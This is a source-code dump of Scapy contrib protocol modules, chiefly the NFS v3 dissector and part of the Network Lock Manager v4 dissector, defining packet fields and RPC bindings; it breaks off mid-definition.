bind_layers(MQTTSN, MQTTSNDisconnect, type=DISCONNECT) bind_layers(MQTTSN, MQTTSNWillTopicUpd, type=WILLTOPICUPD) bind_layers(MQTTSN, MQTTSNWillTopicResp, type=WILLTOPICRESP) bind_layers(MQTTSN, MQTTSNWillMsgUpd, type=WILLMSGUPD) bind_layers(MQTTSN, MQTTSNWillMsgResp, type=WILLMSGRESP) bind_layers(MQTTSN, MQTTSNEncaps, type=ENCAPS_MSG) bind_layers(MQTTSNEncaps, MQTTSN) ================================================ FILE: scapy/contrib/nfs.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Lucas Preston # scapy.contrib.description = Network File System (NFS) v3 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name from binascii import unhexlify from scapy.packet import Packet, bind_layers from scapy.fields import IntField, IntEnumField, FieldListField, LongField, \ XIntField, XLongField, ConditionalField, PacketListField, StrLenField, \ PacketField nfsstat3 = { 0: 'NFS3_OK', 1: 'NFS3ERR_PERM', 2: 'NFS3ERR_NOENT', 5: 'NFS3ERR_IO', 6: 'NFS3ERR_NXIO', 13: 'NFS3ERR_ACCES', 17: 'NFS3ERR_EXIST', 18: 'NFS3ERR_XDEV', 19: 'NFS3ERR_NODEV', 20: 'NFS3ERR_NOTDIR', 21: 'NFS3ERR_ISDIR', 22: 'NFS3ERR_INVAL', 27: 'NFS3ERR_FBIG', 28: 'NFS3ERR_NOSPC', 30: 'NFS3ERR_ROFS', 31: 'NFS3ERR_MLINK', 63: 'NFS3ERR_NAMETOOLONG', 66: 'NFS3ERR_NOTEMPTY', 69: 'NFS3ERR_DQUOT', 70: 'NFS3ERR_STALE', 71: 'NFS3ERR_REMOTE', 10001: 'NFS3ERR_BADHANDLE', 10002: 'NFS3ERR_NOT_SYNC', 10003: 'NFS3ERR_BAD_COOKIE', 10004: 'NFS3ERR_NOTSUPP', 10005: 'NFS3ERR_TOOSMALL', 10006: 'NFS3ERR_SERVERFAULT', 10007: 'NFS3ERR_BADTYPE', 10008: 'NFS3ERR_JUKEBOX' } ftype3 = { 1: 'NF3REG', 2: 'NF3DIR', 3: 'NF3BLK', 4: 'NF3CHR', 5: 'NF3LNK', 6: 'NF3SOCK', 7: 'NF3FIFO' } def loct(x): if isinstance(x, int): return oct(x) if isinstance(x, tuple): return "(%s)" % ", ".join(map(loct, x)) if isinstance(x, list): return "[%s]" % ", ".join(map(loct, x)) return x class OIntField(IntField): """IntField child with octal representation""" def i2repr(self, pkt, x): return loct(self.i2h(pkt, x)) class Fattr3(Packet): name = 'File Attributes' fields_desc = [ IntEnumField('type', 0, ftype3), OIntField('mode', 0), IntField('nlink', 0), IntField('uid', 0), IntField('gid', 0), LongField('size', 0), LongField('used', 0), FieldListField( 'rdev', [0, 0], IntField('', None), count_from=lambda x: 2 ), XLongField('fsid', 0), XLongField('fileid', 0), IntField('atime_s', 0), IntField('atime_ns', 0), IntField('mtime_s', 0), IntField('mtime_ns', 0), IntField('ctime_s', 0), IntField('ctime_ns', 0) ] def extract_padding(self, s): return '', s class File_Object(Packet): name = 'File Object' fields_desc = [ IntField('length', 0), StrLenField('fh', b'', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, new_filehandle, length=None, fill=None): # convert filehandle to bytes if it was passed as a string if new_filehandle.isalnum(): new_filehandle = unhexlify(new_filehandle) if length is None: length = len(new_filehandle) if fill is None: fill = b'\x00' * ((4 - length) % 4) self.length = length self.fh = new_filehandle self.fill = fill def extract_padding(self, s): return '', s class WCC_Attr(Packet): name = 'File Attributes' fields_desc = [ LongField('size', 0), IntField('mtime_s', 0), IntField('mtime_ns', 0), IntField('ctime_s', 0), IntField('ctime_ns', 0) ] def extract_padding(self, s): return '', s class File_From_Dir_Plus(Packet): name = 'File' fields_desc = [ LongField('fileid', 0), PacketField('filename', Object_Name(), Object_Name), LongField('cookie', 0), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), IntField('handle_follows', 0), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.handle_follows == 1 ), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s class File_From_Dir(Packet): name = 'File' fields_desc = [ LongField('fileid', 0), PacketField('filename', Object_Name(), Object_Name), LongField('cookie', 0), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s attrs_enum = {0: 'DONT SET', 1: 'SET'} times_enum = {0: 'DONT CHANGE', 1: 'SERVER TIME', 2: 'CLIENT TIME'} class Sattr3(Packet): name = 'Setattr3' fields_desc = [ IntEnumField('set_mode', 0, attrs_enum), ConditionalField(OIntField('mode', 0), lambda pkt: pkt.set_mode == 1), IntEnumField('set_uid', 0, attrs_enum), ConditionalField(IntField('uid', 0), lambda pkt: pkt.set_uid == 1), IntEnumField('set_gid', 0, attrs_enum), ConditionalField(IntField('gid', 0), lambda pkt: pkt.set_gid == 1), IntEnumField('set_size', 0, attrs_enum), ConditionalField(LongField('size', 0), lambda pkt: pkt.set_size == 1), IntEnumField('set_atime', 0, times_enum), ConditionalField( IntField('atime_s', 0), lambda pkt: pkt.set_atime == 2 ), ConditionalField( IntField('atime_ns', 0), lambda pkt: pkt.set_atime == 2 ), IntEnumField('set_mtime', 0, times_enum), ConditionalField( IntField('mtime_s', 0), lambda pkt: pkt.set_mtime == 2 ), ConditionalField( IntField('mtime_ns', 0), lambda pkt: pkt.set_mtime == 2 ) ] def extract_padding(self, s): return '', s class GETATTR_Call(Packet): name = 'GETATTR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class GETATTR_Reply(Packet): name = 'GETATTR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 ) ] def extract_padding(self, s): return '', None bind_layers(RPC, GETATTR_Call, mtype=0) bind_layers( RPC_Call, GETATTR_Call, program=100003, pversion=3, procedure=1 ) bind_layers(RPC, GETATTR_Reply, mtype=1) class LOOKUP_Call(Packet): name = 'LOOKUP Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name) ] class LOOKUP_Reply(Packet): name = 'LOOKUP Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('af_file', 0), lambda pkt: pkt.status == 0), ConditionalField( PacketField('file_attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.af_file == 1 ), IntField('af_dir', 0), ConditionalField( PacketField('dir_attributes', Fattr3(), Fattr3), lambda pkt: pkt.af_dir == 1 ) ] bind_layers(RPC, LOOKUP_Call, mtype=0) bind_layers(RPC, LOOKUP_Reply, mtype=1) bind_layers(RPC_Call, LOOKUP_Call, program=100003, pversion=3, procedure=3) class NULL_Call(Packet): name = 'NFS NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'NFS NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100003, pversion=3, procedure=0) class FSINFO_Call(Packet): name = 'FSINFO Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class FSINFO_Reply(Packet): name = 'FSINFO Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('rtmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('rtpref', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('rtmult', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtpref', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('wtmult', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('dtpref', 0), lambda pkt: pkt.status == 0), ConditionalField( LongField('maxfilesize', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('timedelta_s', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('timedelta_ns', 0), lambda pkt: pkt.status == 0 ), ConditionalField( XIntField('properties', 0), lambda pkt: pkt.status == 0 ), ] bind_layers(RPC, FSINFO_Call, mtype=0) bind_layers(RPC, FSINFO_Reply, mtype=1) bind_layers( RPC_Call, FSINFO_Call, program=100003, pversion=3, procedure=19 ) class PATHCONF_Call(Packet): name = 'PATHCONF Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class PATHCONF_Reply(Packet): name = 'PATHCONF Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('linkmax', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('name_max', 0), lambda pkt: pkt.status == 0), ConditionalField( IntEnumField('no_trunc', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('chown_restricted', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('case_insensitive', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ), ConditionalField( IntEnumField('case_preserving', 0, {0: 'NO', 1: 'YES'}), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, PATHCONF_Call, mtype=0) bind_layers(RPC, PATHCONF_Reply, mtype=1) bind_layers( RPC_Call, PATHCONF_Call, program=100003, pversion=3, procedure=20 ) access_specs = { 0x0001: 'READ', 0x0002: 'LOOKUP', 0x0004: 'MODIFY', 0x0008: 'EXTEND', 0x0010: 'DELETE', 0x0020: 'EXECUTE' } class ACCESS_Call(Packet): name = 'ACCESS Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), IntEnumField('check_access', 1, access_specs) ] class ACCESS_Reply(Packet): name = 'ACCESS Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( XIntField('access_rights', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, ACCESS_Call, mtype=0) bind_layers(RPC, ACCESS_Reply, mtype=1) bind_layers(RPC_Call, ACCESS_Call, program=100003, pversion=3, procedure=4) class READDIRPLUS_Call(Packet): name = 'READDIRPLUS Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('cookie', 0), LongField('verifier', 0), IntField('dircount', 512), IntField('maxcount', 4096) ] class READDIRPLUS_Reply(Packet): name = 'READDIRPLUS Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( LongField('verifier', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('value_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketListField( 'files', None, File_From_Dir_Plus, next_cls_cb=lambda pkt, lst, cur, remain: File_From_Dir_Plus if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None ), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) ] def extract_padding(self, s): return '', s bind_layers(RPC, READDIRPLUS_Call, mtype=0) bind_layers(RPC, READDIRPLUS_Reply, mtype=1) bind_layers( RPC_Call, READDIRPLUS_Call, program=100003, pversion=3, procedure=17 ) class WRITE_Call(Packet): name = 'WRITE Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0), IntEnumField('stable', 0, {0: 'UNSTABLE', 1: 'STABLE'}), IntField('length', 0), StrLenField('contents', b'', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] class WRITE_Reply(Packet): name = 'WRITE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ), ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), ConditionalField( IntEnumField('committed', 0, {0: 'UNSTABLE', 1: 'STABLE'}), lambda pkt: pkt.status == 0 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, WRITE_Call, mtype=0) bind_layers(RPC, WRITE_Reply, mtype=1) bind_layers(RPC_Call, WRITE_Call, program=100003, pversion=3, procedure=7) class COMMIT_Call(Packet): name = 'COMMIT Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0) ] class COMMIT_Reply(Packet): name = 'COMMIT Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, COMMIT_Call, mtype=0) bind_layers(RPC, COMMIT_Reply, mtype=1) bind_layers( RPC_Call, COMMIT_Call, program=100003, pversion=3, procedure=21 ) class SETATTR_Call(Packet): name = 'SETATTR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), PacketField('attributes', Sattr3(), Sattr3), IntField('check', 0) ] class SETATTR_Reply(Packet): name = 'SETATTR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, SETATTR_Call, mtype=0) bind_layers(RPC, SETATTR_Reply, mtype=1) bind_layers( RPC_Call, SETATTR_Call, program=100003, pversion=3, procedure=2 ) class FSSTAT_Call(Packet): name = 'FSSTAT Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class FSSTAT_Reply(Packet): name = 'FSSTAT Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(LongField('tbytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('fbytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('abytes', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('tfiles', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('ffiles', 0), lambda pkt: pkt.status == 0), ConditionalField(LongField('afiles', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('invarsec', 0), lambda pkt: pkt.status == 0) ] bind_layers(RPC, FSSTAT_Call, mtype=0) bind_layers(RPC, FSSTAT_Reply, mtype=1) bind_layers( RPC_Call, FSSTAT_Call, program=100003, pversion=3, procedure=18 ) class CREATE_Call(Packet): name = 'CREATE Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name), IntEnumField('create_mode', None, {0: 'UNCHECKED', 1: 'GUARDED', 2: 'EXCLUSIVE'}), ConditionalField( PacketField('attributes', Sattr3(), Sattr3), lambda pkt: pkt.create_mode != 2 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.create_mode == 2 ) ] class CREATE_Reply(Packet): name = 'CREATE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, CREATE_Call, mtype=0) bind_layers(RPC, CREATE_Reply, mtype=1) bind_layers(RPC_Call, CREATE_Call, program=100003, pversion=3, procedure=8) class REMOVE_Call(Packet): name = 'REMOVE Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name) ] class REMOVE_Reply(Packet): name = 'REMOVE Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, REMOVE_Call, mtype=0) bind_layers(RPC, REMOVE_Reply, mtype=1) bind_layers( RPC_Call, REMOVE_Call, program=100003, pversion=3, procedure=12 ) class READDIR_Call(Packet): name = 'READDIR Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('cookie', 0), XLongField('verifier', 0), IntField('count', 0) ] class READDIR_Reply(Packet): name = 'READDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( XLongField('verifier', 0), lambda pkt: pkt.status == 0 ), ConditionalField( IntField('value_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketListField( 'files', None, File_From_Dir, next_cls_cb=lambda pkt, lst, cur, remain: File_From_Dir if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None ), lambda pkt: pkt.status == 0), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0) ] bind_layers(RPC, READDIR_Call, mtype=0) bind_layers(RPC, READDIR_Reply, mtype=1) bind_layers( RPC_Call, READDIR_Call, program=100003, pversion=3, procedure=16 ) class RENAME_Call(Packet): name = 'RENAME Call' fields_desc = [ PacketField('dir_from', File_Object(), File_Object), PacketField('name_from', Object_Name(), Object_Name), PacketField('dir_to', File_Object(), File_Object), PacketField('name_to', Object_Name(), Object_Name), ] class RENAME_Reply(Packet): name = 'RENAME Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before_f', 0), ConditionalField( PacketField('attributes_before_f', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before_f == 1 ), IntField('af_after_f', 0), ConditionalField( PacketField('attributes_after_f', Fattr3(), Fattr3), lambda pkt: pkt.af_after_f == 1 ), IntField('af_before_t', 0), ConditionalField( PacketField('attributes_before_t', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before_t == 1 ), IntField('af_after_t', 0), ConditionalField( PacketField('attributes_after_t', Fattr3(), Fattr3), lambda pkt: pkt.af_after_t == 1 ) ] bind_layers(RPC, RENAME_Call, mtype=0) bind_layers(RPC, RENAME_Reply, mtype=1) bind_layers( RPC_Call, RENAME_Call, program=100003, pversion=3, procedure=14 ) class LINK_Call(Packet): name = 'LINK Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), PacketField('link_dir', File_Object(), File_Object), PacketField('link_name', Object_Name(), Object_Name) ] class LINK_Reply(Packet): name = 'LINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_file', 0), ConditionalField( PacketField('file_attributes', Fattr3(), Fattr3), lambda pkt: pkt.af_file == 1 ), IntField('af_link_before', 0), ConditionalField( PacketField('link_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_link_before == 1 ), IntField('af_link_after', 0), ConditionalField( PacketField('link_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_link_after == 1 ) ] bind_layers(RPC, LINK_Call, mtype=0) bind_layers(RPC, LINK_Reply, mtype=1) bind_layers(RPC_Call, LINK_Call, program=100003, pversion=3, procedure=15) class RMDIR_Call(Packet): name = 'RMDIR Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('filename', Object_Name(), Object_Name), ] class RMDIR_Reply(Packet): name = 'RMDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('af_before', 0), ConditionalField( PacketField('attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, RMDIR_Call, mtype=0) bind_layers(RPC, RMDIR_Reply, mtype=1) bind_layers(RPC_Call, RMDIR_Call, program=100003, pversion=3, procedure=13) class READLINK_Call(Packet): name = 'READLINK Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object) ] class READLINK_Reply(Packet): name = 'READLINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField( PacketField('filename', Object_Name(), Object_Name), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, READLINK_Call, mtype=0) bind_layers(RPC, READLINK_Reply, mtype=1) bind_layers( RPC_Call, READLINK_Call, program=100003, pversion=3, procedure=5 ) class READ_Call(Packet): name = 'READ Call' fields_desc = [ PacketField('filehandle', File_Object(), File_Object), LongField('offset', 0), IntField('count', 0) ] class READ_Reply(Packet): name = 'READ Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), IntField('attributes_follow', 0), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.attributes_follow == 1 ), ConditionalField(IntField('count', 0), lambda pkt: pkt.status == 0), ConditionalField(IntField('eof', 0), lambda pkt: pkt.status == 0), ConditionalField( IntField('data_length', 0), lambda pkt: pkt.status == 0 ), ConditionalField( StrLenField('data', b'', length_from=lambda pkt: pkt.data_length), lambda pkt: pkt.status == 0 ), ConditionalField( StrLenField( 'fill', b'', length_from=lambda pkt: (4 - pkt.data_length) % 4 ), lambda pkt: pkt.status == 0 ) ] bind_layers(RPC, READ_Call, mtype=0) bind_layers(RPC, READ_Reply, mtype=1) bind_layers(RPC_Call, READ_Call, program=100003, pversion=3, procedure=6) class MKDIR_Call(Packet): name = 'MKDIR Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('dir_name', Object_Name(), Object_Name), PacketField('attributes', Sattr3(), Sattr3) ] class MKDIR_Reply(Packet): name = 'MKDIR Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, MKDIR_Call, mtype=0) bind_layers(RPC, MKDIR_Reply, mtype=1) bind_layers(RPC_Call, MKDIR_Call, program=100003, pversion=3, procedure=9) class SYMLINK_Call(Packet): name = 'SYMLINK Call' fields_desc = [ PacketField('dir', File_Object(), File_Object), PacketField('dir_name', Object_Name(), Object_Name), PacketField('attributes', Sattr3(), Sattr3), PacketField('link_name', Object_Name(), Object_Name) ] class SYMLINK_Reply(Packet): name = 'SYMLINK Reply' fields_desc = [ IntEnumField('status', 0, nfsstat3), ConditionalField( IntField('handle_follows', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 and pkt.handle_follows == 1 ), ConditionalField( IntField('attributes_follow', 0), lambda pkt: pkt.status == 0 ), ConditionalField( PacketField('attributes', Fattr3(), Fattr3), lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 ), IntField('af_before', 0), ConditionalField( PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), lambda pkt: pkt.af_before == 1 ), IntField('af_after', 0), ConditionalField( PacketField('dir_attributes_after', Fattr3(), Fattr3), lambda pkt: pkt.af_after == 1 ) ] bind_layers(RPC, SYMLINK_Call, mtype=0) bind_layers(RPC, SYMLINK_Reply, mtype=1) bind_layers( RPC_Call, SYMLINK_Call, program=100003, pversion=3, procedure=10 ) ================================================ FILE: scapy/contrib/nlm.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Lucas Preston # scapy.contrib.description = Network Lock Manager (NLM) v4 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name from scapy.packet import Packet, bind_layers from scapy.fields import IntField, StrLenField, LongField, PacketField, \ IntEnumField from scapy.contrib.nfs import File_Object nlm4_stats = { 0: 'NLM4_GRANTED', 1: 'NLM4_DENIED', 2: 'NLM4_DENIED_NOLOCKS', 3: 'NLM4_BLOCKED', 4: 'NLM4_DENIED_GRACE_PERIOD', 5: 'NLM4_DEADLCK', 6: 'NLM4_ROFS', 7: 'NLM4_STALE_FH', 8: 'NLM4_FBIG', 9: 'NLM4_FAILED' } class NLM4_Cookie(Packet): name = 'Cookie' fields_desc = [ IntField('length', 0), StrLenField('contents', '', length_from=lambda pkt: pkt.length), StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) ] def set(self, c, length=None, fill=None): if length is None: length = len(c) if fill is None: fill = b'\x00' * ((4 - len(c)) % 4) self.length = length self.contents = c self.fill = fill def extract_padding(self, s): return '', s class SHARE_Call(Packet): name = 'SHARE Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('mode', 0), IntField('access', 0), IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) ] class SHARE_Reply(Packet): name = 'SHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats), IntField('sequence', 0) ] bind_layers(RPC_Call, SHARE_Call, program=100021, pversion=4, procedure=20) bind_layers(RPC, SHARE_Call, mtype=0) bind_layers(RPC, SHARE_Reply, mtype=1) class UNSHARE_Call(Packet): name = 'UNSHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('mode', 0), IntField('access', 0), IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) ] class UNSHARE_Reply(Packet): name = 'UNSHARE Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats), IntField('sequence', 0) ] bind_layers( RPC_Call, UNSHARE_Call, program=100021, pversion=4, procedure=21 ) bind_layers(RPC, UNSHARE_Call, mtype=0) bind_layers(RPC, UNSHARE_Reply, mtype=1) class LOCK_Call(Packet): name = 'LOCK Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0), IntField('reclaim', 0), IntField('state', 0) ] class LOCK_Reply(Packet): name = 'LOCK Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, LOCK_Call, program=100021, pversion=4, procedure=2) bind_layers(RPC, LOCK_Call, mtype=0) bind_layers(RPC, LOCK_Reply, mtype=1) class UNLOCK_Call(Packet): name = 'UNLOCK Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', Object_Name(), Object_Name), IntField('svid', 0), LongField('l_offset', 0), LongField('l_len', 0) ] class UNLOCK_Reply(Packet): name = 'UNLOCK Reply' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('status', 0, nlm4_stats) ] bind_layers(RPC_Call, UNLOCK_Call, program=100021, pversion=4, procedure=4) bind_layers(RPC, UNLOCK_Call, mtype=0) bind_layers(RPC, UNLOCK_Reply, mtype=1) class GRANTED_MSG_Call(Packet): name = 'GRANTED_MSG Call' fields_desc = [ PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), PacketField('caller', Object_Name(), Object_Name), PacketField('filehandle', File_Object(), File_Object), PacketField('owner', 